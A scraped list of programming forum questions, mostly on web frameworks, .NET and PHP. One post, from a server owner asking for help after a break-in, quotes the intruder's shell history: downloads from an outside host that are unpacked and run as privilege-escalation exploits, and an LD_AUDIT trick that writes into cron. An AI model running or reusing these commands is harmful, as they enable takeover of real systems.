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  • Rails - CSV export: prompt for file download

    - by Pierre
    Hello, I want to give my users the ability to export a table to CSV. So in my controller, I've added on top of the file: respond_to :html, :js, :csv I'm also setting the headers if the requested format is csv: if params[:format] == 'csv' generate_csv_headers("negotiations-#{Time.now.strftime("%Y%m%d")}") end Code for generate_csv_headers(in application_controller) is: def generate_csv_headers(filename) headers.merge!({ 'Cache-Control' => 'must-revalidate, post-check=0, pre-check=0', 'Content-Type' => 'text/csv', 'Content-Disposition' => "attachment; filename=\"#{filename}\"", 'Content-Transfer-Encoding' => 'binary' }) end I've also created a view named index.csv.erb to generate my file: <%- headers = ["Id", "Name"] -%> <%= CSV.generate_line headers %> <%- @negotiations.each do |n| -%> <%- row = [ n.id, n.name ] -%> <%= CSV.generate_line row %> <%- end -%> I don't have any error, but it simply displays the content of the CSV file, while I'd expect a prompt from the browser to download the file. I've read a lot, but could not find anything that'd work. Do you have an idea? thanks, p.

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  • How to get the current exception without having passing the variable?

    - by Pierre-Alain Vigeant
    I am looking for a way to retrieve the current exception without having to pass it as a variable. Suppose the following code public void MakeItFail() { try { throw new FailException(); } catch // Yes I'm aware that this shouldn't be done, but I don't want to go through all the code base and change it { ShowMessage("An error occured"); } } public void ShowMessage(string message) { // How can I retrieve the exception here } In the watch window, I can use $exception to get the current exception. Is there is a code equivalent?

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  • Best way to deal with multiple layouts in symfony

    - by Pierre
    Hey folks. I'm looking for the best way to do something simple in symfony. Basically, I have a module in which all the pages will contain the same header and footer. That module also shares the same general layout as the other modules. I'm just wondering, should I create one file and have my content pages called up as partials or should all files have their own content and somehow call the two other templates. I made a quick example of my setup: http://grab.by/3Riy Hopefully, it'll help understand what I'm trying to do. Thanks!

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  • How to create instances of a class from a static method?

    - by Pierre
    Hello. Here is my problem. I have created a pretty heavy readonly class making many database calls with a static "factory" method. The goal of this method is to avoid killing the database by looking in a pool of already-created objects if an identical instance of the same object (same type, same init parameters) already exists. If something was found, the method will just return it. No problem. But if not, how may I create an instance of the object, in a way that works with inheritance? >>> class A(Object): >>> @classmethod >>> def get_cached_obj(self, some_identifier): >>> # Should do something like `return A(idenfier)`, but in a way that works >>> class B(A): >>> pass >>> A.get_cached_obj('foo') # Should do the same as A('foo') >>> A().get_cached_obj('foo') # Should do the same as A('foo') >>> B.get_cached_obj('bar') # Should do the same as B('bar') >>> B().get_cached_obj('bar') # Should do the same as B('bar') Thanks.

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  • Expand a window beyond Windows limitation

    - by Pierre
    I try to setup UltraMon with a really big width and height for my Safari on Windows. See capture : http://cl.ly/de21e9cd2cf4f265efc4 The problem is that the width and height seems to have a max value that I would like to change. I want UltraMon not to change my width and height, even if they are bigger than the screen resolution.

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  • Delphi -> Delphi prism, how to use array of records?

    - by Pierre
    Hi there. I'm learning Delphi Prism, and i don't find how to write the following code with it : type TRapportItem = record Label : String; Value : Int16; AnomalieComment : String; end; type TRapportCategorie = record Label : String; CategoriesItems : Array of TRapportItem; end; type TRapportContent = record Categories : array of TRapportCategorie; end; Then, somewhere, i try to put items in the array : rapport.Categories[i].Label:=l.Item(i).InnerText; But it doesn't work.. Can someone enlight me? Thanks!

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  • How to build a Django form which requires a delay to be re-submitted ?

    - by pierre-guillaume-degans
    Hey, In order to avoid spamming, I would like to add a waiting time to re-submit a form (i.e. the user should wait a few seconds to submit the form, except the first time that this form is submitted). To do that, I added a timestamp to my form (and a security_hash field containing the timestamp plus the settings.SECRET_KEY which ensures that the timestamp is not fiddled with). This look like: class MyForm(forms.Form): timestamp = forms.IntegerField(widget=forms.HiddenInput) security_hash = forms.CharField(min_length=40, max_length=40, widget=forms.HiddenInput) # + some other fields.. # + methods to build the hash and to clean the timestamp... # (it is based on django.contrib.comments.forms.CommentSecurityForm) def clean_timestamp(self): """Make sure the delay is over (5 seconds).""" ts = self.cleaned_data["timestamp"] if not time.time() - ts > 5: raise forms.ValidationError("Timestamp check failed") return ts # etc... This works fine. However there is still an issue: the timestamp is checked the first time the form is submitted by the user, and I need to avoid this. Any idea to fix it ? Thank you ! :-)

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  • open flash chart help needed

    - by Carlos Barbosa
    def reparto_de_ventas_por_marca #obtener los montos de las ventas en el periodo comprendido y sumarlas @ventas = Venta.find(:all) @marcas = Marca.find(:all) title = Title.new("Ingresos de este mes: #{@total}") pie = Pie.new pie.start_angle = 35 pie.animate = true pie.tooltip = '#val# de #total#<br>#percent# de 100%' pie.colours = ["#245a9c", "#fff"] pie.values = [ @marcas.each do |result| PieValue.new(result.ventas.count, result.name) end ] chart = OpenFlashChart.new chart.title = title chart.add_element(pie) chart.x_axis = nil render :text => chart.to_s end It just doesn't works i need to get the values to create a graph with flash chart. any help will be appreciated.

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  • GZipStream in an WebHttpResponse producing no data

    - by Pierre 303
    I want to compress my HTTP Responses for client that supports it. Here is the code used to send a standard response: IHttpClientContext context = (IHttpClientContext)sender; IHttpRequest request = e.Request; string responseBody = "This is some random text"; IHttpResponse response = request.CreateResponse(context); using (StreamWriter writer = new StreamWriter(response.Body)) { writer.WriteLine(responseBody); writer.Flush(); response.Send(); } The code above works fine. Now I added gzip support below. When I test it with a browser that supports gzip or a custom method, it returns an empty string. I'm sure I'm missing something simple, but I just can't find it... IHttpClientContext context = (IHttpClientContext)sender; IHttpRequest request = e.Request; string acceptEncoding = request.Headers["Accept-Encoding"]; string responseBody = "This is some random text"; IHttpResponse response = request.CreateResponse(context); if (acceptEncoding != null && acceptEncoding.Contains("gzip")) { byte[] bytes = ASCIIEncoding.ASCII.GetBytes(responseBody); response.AddHeader("Content-Encoding", "gzip"); using (GZipStream writer = new GZipStream(response.Body, CompressionMode.Compress)) { writer.Write(bytes, 0, bytes.Length); writer.Flush(); response.Send(); } } else { using (StreamWriter writer = new StreamWriter(response.Body)) { writer.WriteLine(responseBody); writer.Flush(); response.Send(); } }

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  • IIS URL Rewrite rule - Default document for subdirectories

    - by Antonio Bakula
    I would like create URL rewrite rule that will set default document for my virtual folders. eg. someting like this www.domain.com/en/ -> www.domain.com/en/index.aspx www.domain.com/hr/ -> www.domain.com/hr/index.aspx www.domain.com/de/ -> www.domain.com/de/index.aspx directories en, hr, de doesn't really exists on web server they are just markers for languange used in site used by home grown http module that will rewrite path with query params. Quick solution was define rule for every single lang, something like this : <rewrite> <rewriteMaps> <rewriteMap name="Langs"> <add key="/en" value="/en/index.aspx" /> <add key="/hr" value="/hr/index.aspx" /> <add key="/de" value="/de/index.aspx" /> </rewriteMap> </rewriteMaps> <rules> But I would really like solution that would not require changes in web.config and adding rewrite rule for every languange used on particular site. Thanks !

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  • How to create a HTML world map with GeoDjango ?

    - by pierre-guillaume-degans
    The GeoDjango tutorial explains how to insert world borders into a spatial database. I would like to create a world Map in HTML with these data, with both map and area tags. Something like that. I just don't know how to retrieve the coordinates for each country (required for the area's coords attribute). from world.models import WorldBorders for country in WorldBorders.objects.all(): print u'<area shape="poly" title="%s" alt="%s" coords="%s" />' % (v.name, v.name, "???") Thanks !

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  • Ubuntu Server hack [closed]

    - by haxpanel
    Hi! I looked at netstat and I noticed that someone besides me is connected to the server by ssh. I looked after this because my user has the only one ssh access. I found this in an ftp user .bash_history file: w uname -a ls -a sudo su wget qiss.ucoz.de/2010/.jpg wget qiss.ucoz.de/2010.jpg tar xzvf 2010.jpg rm -rf 2010.jpg cd 2010/ ls -a ./2010 ./2010x64 ./2.6.31 uname -a ls -a ./2.6.37-rc2 python rh2010.py cd .. ls -a rm -rf 2010/ ls -a wget qiss.ucoz.de/ubuntu2010_2.jpg tar xzvf ubuntu2010_2.jpg rm -rf ubuntu2010_2.jpg ./ubuntu2010-2 ./ubuntu2010-2 ./ubuntu2010-2 cat /etc/issue umask 0 dpkg -S /lib/libpcprofile.so ls -l /lib/libpcprofile.so LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping ping gcc touch a.sh nano a.sh vi a.sh vim wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh nano ubuntu10.sh ls -a rm -rf ubuntu10.sh . .. a.sh .cache ubuntu10.sh ubuntu2010-2 ls -a wget qiss.ucoz.de/ubuntu10.sh sh ubuntu10.sh ls -a rm -rf ubuntu10.sh wget http://download.microsoft.com/download/win2000platform/SP/SP3/NT5/EN-US/W2Ksp3.exe rm -rf W2Ksp3.exe passwd The system is in a jail. Does it matter in the current case? What shall i do? Thanks for everyone!! I have done these: - ban the connected ssh host with iptables - stoped the sshd in the jail - saved: bach_history, syslog, dmesg, files in the bash_history's wget lines

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  • How do I flag a folder as being a package?

    - by Pierre Bernard
    I used to think that folders needed to have an extension so that they are recognized as packages by the Finder. That extension would be declared in the owning application's Info.plist. Obviously there is another, more elegant way, but I can't figure out how it is done. E.g. the iPhoto Library is being treated as a package by the Finder. Yet it has no extension. mdls reveals that it indeed has "com.apple.package" in the content type tree. The actual content type is dynamically assigned. How did iPhoto go about to create such a directory?

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  • multi-shop orders table and sequential order numbers based on shop

    - by imanc
    Hey, I am looking at building a shop solution that needs to be scalable. Currently it retrieves 1-2000 orders on average per day across multiple country based shops (e.g. uk, us, de, dk, es etc.) but this order could be 10x this amount in two years. I am looking at either using separate country-shop databases to store the orders tables, or looking to combine all into one order table. If all orders exist in one table with a global ID (auto num) and country ID (e.g uk,de,dk etc.), each countries orders would also need to have sequential ordering. So in essence, we'd have to have a global ID and a country order ID, with the country order ID being sequential for countries only, e.g. global ID = 1000, country = UK, country order ID = 1000 global ID = 1001, country = DE, country order ID = 1000 global ID = 1002, country = DE, country order ID = 1001 global ID = 1003, country = DE, country order ID = 1002 global ID = 1004, country = UK, country order ID = 1001 THe global ID would be DB generated and not something I would need to worry about. But I am thinking that I'd have to do a query to get the current country order based ID+1 to find the next sequential number. Two things concern me about this: 1) query times when the table has potentially millions of rows of data and I'm doing a read before a write, 2) the potential for ID number clashes due to simultaneous writes/reads. With a MyISAM table the entire table could be locked whilst the last country order + 1 is retrieved, to prevent ID number clashes. I am wondering if anyone knows of a more elegant solution? Cheers, imanc

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  • How can I retrieve the last IP address of a user in Microsoft Exchange

    - by Pierre
    I need to determine the location of (mobiles) users within the enterprise buildings & floors. They are all using Microsoft Exchange & Office Communicator. If I have access to the IP address, I can know the location. Is there a way to retrieve the last IP address of the user by using Microsoft Exchange or Office Communication Server API ? If yes how ? Thanks a lot in advance.

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  • How to test a .net application against a proxy?

    - by Pierre-Alain Vigeant
    I need to support the use of proxy on our application that is using WCF connections. We do not have any proxy server on our network and I don't want to disrupt our corporate network by requesting a proxy installation. I was thinking of installing a proxy server on a local virtual machine and configurating Internet Explorer so that it will challenge that proxy. I don't know what proxy software to use (I don't want to install ISA server) and I don't know how to configure one. Does someone have any suggestion for a easy to use software that will require an authentication for any WCF services and do you have any guideline that would be helpful to know when testing a software against a proxy?

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  • Jquery mobile email form with php script

    - by Pablo Marino
    i'm working in a mobile website and i'm having problems with my email form The problem is that when I receive the mail sent through the form, it contains no data. All the data entered by the user is missing. Here is the form code <form action="correo.php" method="post" data-ajax="false"> <div> <p><strong>You can contact us by filling the following form</strong></p> </div> <div data-role="fieldcontain"> <fieldset data-role="controlgroup" data-mini="true"> <label for="first_name">First Name</label> <input id="first_name" placeholder="" type="text" /> </fieldset> </div> <div data-role="fieldcontain"> <fieldset data-role="controlgroup" data-mini="true"> <label for="last_name">Last name</label> <input id="last_name" placeholder="" type="text" /> </fieldset> </div> <div data-role="fieldcontain"> <fieldset data-role="controlgroup" data-mini="true"> <label for="email">Email</label> <input id="email" placeholder="" type="email" /> </fieldset> </div> <div data-role="fieldcontain"> <fieldset data-role="controlgroup" data-mini="true"> <label for="telephone">Phone</label> <input id="telephone" placeholder="" type="tel" /> </fieldset> </div> <div data-role="fieldcontain"> <fieldset data-role="controlgroup" data-mini="true"> <label for="age">Age</label> <input id="age" placeholder="" type="number" /> </fieldset> </div> <div data-role="fieldcontain"> <fieldset data-role="controlgroup" data-mini="true"> <label for="country">Country</label> <input id="country" placeholder="" type="text" /> </fieldset> </div> <div data-role="fieldcontain"> <fieldset data-role="controlgroup"> <label for="message">Your message</label> <textarea id="message" placeholder="" data-mini="true"></textarea> </fieldset> </div> <input data-inline="true" data-theme="e" value="Submit" data-mini="true" type="submit" /> </form> Here is the PHP code <? /* aqui se incializan variables de PHP */ if (phpversion() >= "4.2.0") { if ( ini_get('register_globals') != 1 ) { $supers = array('_REQUEST', '_ENV', '_SERVER', '_POST', '_GET', '_COOKIE', '_SESSION', '_FILES', '_GLOBALS' ); foreach( $supers as $__s) { if ( (isset($$__s) == true) && (is_array( $$__s ) == true) ) extract( $$__s, EXTR_OVERWRITE ); } unset($supers); } } else { if ( ini_get('register_globals') != 1 ) { $supers = array('HTTP_POST_VARS', 'HTTP_GET_VARS', 'HTTP_COOKIE_VARS', 'GLOBALS', 'HTTP_SESSION_VARS', 'HTTP_SERVER_VARS', 'HTTP_ENV_VARS' ); foreach( $supers as $__s) { if ( (isset($$__s) == true) && (is_array( $$__s ) == true) ) extract( $$__s, EXTR_OVERWRITE ); } unset($supers); } } /* DE AQUI EN ADELANTE PUEDES EDITAR EL ARCHIVO */ /* reclama si no se ha rellenado el campo email en el formulario */ /* aquí se especifica la pagina de respuesta en caso de envío exitoso */ $respuesta="index.html#respuesta"; // la respuesta puede ser otro archivo, en incluso estar en otro servidor /* AQUÍ ESPECIFICAS EL CORREO AL CUAL QUEIRES QUE SE ENVÍEN LOS DATOS DEL FORMULARIO, SI QUIERES ENVIAR LOS DATOS A MÁS DE UN CORREO, LOS PUEDES SEPARAR POR COMAS */ $para ="[email protected];" /* this is not my real email, of course */ /* AQUI ESPECIFICAS EL SUJETO (Asunto) DEL EMAIL */ $sujeto = "Mail de la página - Movil"; /* aquí se construye el encabezado del correo, en futuras versiones del script explicaré mejor esta parte */ $encabezado = "From: $first_name $last_name <$email>"; $encabezado .= "\nReply-To: $email"; $encabezado .= "\nX-Mailer: PHP/" . phpversion(); /* con esto se captura la IP del que envío el mensaje */ $ip=$REMOTE_ADDR; /* las siguientes líneas arman el mensaje */ $mensaje .= "NOMBRE: $first_name\n"; $mensaje .= "APELLIDO: $last_name\n"; $mensaje .= "EMAIL: $email\n"; $mensaje .= "TELEFONO: $telephone\n"; $mensaje .= "EDAD: $age\n"; $mensaje .= "PAIS: $country\n"; $mensaje .= "MENSAJE: $message\n"; /* aqui se intenta enviar el correo, si no se tiene éxito se da un mensaje de error */ if(!mail($para, $sujeto, $mensaje, $encabezado)) { echo "<h1>No se pudo enviar el Mensaje</h1>"; exit(); } else { /* aqui redireccionamos a la pagina de respuesta */ echo "<meta HTTP-EQUIV='refresh' content='1;url=$respuesta'>"; } ?> Any help please? Thanks in advance Pablo

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  • google maps api keys to be set webserver-wide, (as env var? inside apache?)

    - by ~knb
    I have a web site with many virtual hosts and each registered with several domain names (ending in .org, .de), site1.mysite.de, site2.mysite.org Then I have different templating systems based on several programming languages (perl and php) in use on the web server. The Google Maps Api requires a unique Google Maps api key for each vhost. I want to have something like a web-server wide variable $goomapkey that I can call from inside my code. In PHP code, Now I have a kludgy case-analysis solution like $domain = substr($_SERVER['SERVER_NAME'], -3); if (".de" == $domain){ //if ("xxxxxx" eq substr($ENV{SERVER_NAME}, 0, 5)){ // $gookey = "ABQIAAA..."; //} else { //site1.de $gookey = "ABQIAAAA1Js..."; //} } elseif ("dev" == substr($_SERVER['SERVER_NAME'], 0, 3)){ //dev.mysite.org $gookey = "ABQIAAAA1JsSb..."; } else { //www.mysite.org $gookey = "ABQIAAAA1JsS..."; //TODO: Add more keys for each virtual host, for my.machinename.de, IP-address based URL, ... } ... inside my php-based CMS. A non-ideal solution, because it is, php-only, and I still have to set it at several html templates inside the CMS, and there are too many cases. I want the google maps api key to be set by the apache web server who examines the request *early in the request loop before any php page template code is constructed and evaluated. is an environment variable a good solution? which technology should be used to set the $goomapkey variable? I'd prefer mod_perl2 Apache request handler, but the documentation is confusing (many API changes in the past ). Which Apache module could I use? Is there a built-in Apache module that does the same thing?

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  • Multiple calculations on the same set of data: ruby or database?

    - by Pierre
    Hi, I have a model Transaction for which I need to display the results of many calculations on many fields for a subset of transactions. I've seen 2 ways to do it, but am not sure which is the best. I'm after the one that will have the least impact in terms of performance when data set grows and number of concurrent users increases. data[:total_before] = Transaction.where(xxx).sum(:amount_before) data[:total_after] = Transaction.where(xxx).sum(:amount_after) ... or transactions = Transaction.where(xxx) data[:total_before]= transactions.inject(0) {|s, e| s + e.amount_before } data[:total_after]= transactions.inject(0) {|s, e| s + e.amount_after } ... Which one should I choose? (or is there a 3rd, better way?) Thanks, P.

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  • unable to install latest phpUnit in Ubuntu 10.04

    - by Dex Barrett
    I'm trying to install PHPUnit in Ubuntu 10.04 but I get these error messages sudo pear install -a pear.phpunit.de/PHPUnit Duplicate package channel://pear.phpunit.de/File_Iterator-1.3.3 found Duplicate package channel://pear.phpunit.de/File_Iterator-1.3.2 found install failed I tried reinstalling PEAR, upgrading it; updated the PEAR and PHPUnit channel; cleared the PEAR's cache but still no luck, I keep getting the same error. Does anyone have the same problem and know how to solve it? Thank you.

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  • 1 bug to kill... Letting PHP Generate The Canonical.

    - by Sam
    Hi folks, for building a clean canonical url, that always returns 1 base URL, im stuck in following case: <?php # every page $extensions = $_SERVER['REQUEST_URI']; # path like: /en/home.ast?ln=ja $qsIndex = strpos($extensions, '?'); # removes the ?ln=de part $pageclean = $qsIndex !== FALSE ? substr($extensions, 0, $qsIndex) : $extensions; $canonical = "http://website.com" . $pageclean; # basic canonical url ?> <html><head><link rel="canonical" href="<?=$canonical?>"></head> when URL : http://website.com/de/home.ext?ln=de canonical: http://website.com/de/home.ext BUT I want to remove the file extension aswell, whether its .php, .ext .inc or whatever two or three char extension .[xx] or .[xxx] so the base url becomes: http://website.com/en/home Aaah much nicer! but How do i achieve that in current code? Any hints are much appreciated +! (other advices for proper canonical usage in this multi-lingual environment are welcome as well)

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  • java Swing Listeners: components listening at each others.

    - by Pierre
    Hi all, I want to code two JList (categories and items). When I click one category it should select all the items for that category and when I click on one item it should select its categories. So both JList will have a ListSelectionListener listening at each other and changing the selection. Should I fear about some a of "loop" ? Is there a way to tell that an Event has been consumed ? how do people manage that kind of situation ? Thanks

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  • What does this error mean: `somefile.c:200: error: the frame size of 1032 bytes is larger than 1024

    - by Pierre LaFayette
    During a make, I'm seeing an error along the lines of: cc1: warnings being treated as errors somefile.c:200: error: the frame size of 1032 bytes is larger than 1024 bytes The line number points to the closing brace of a c function that has a signature like this: void trace(SomeEnum1 p1, SomeEnum2 p2, char* format, ...) { Anyone know what this type of error means in general?

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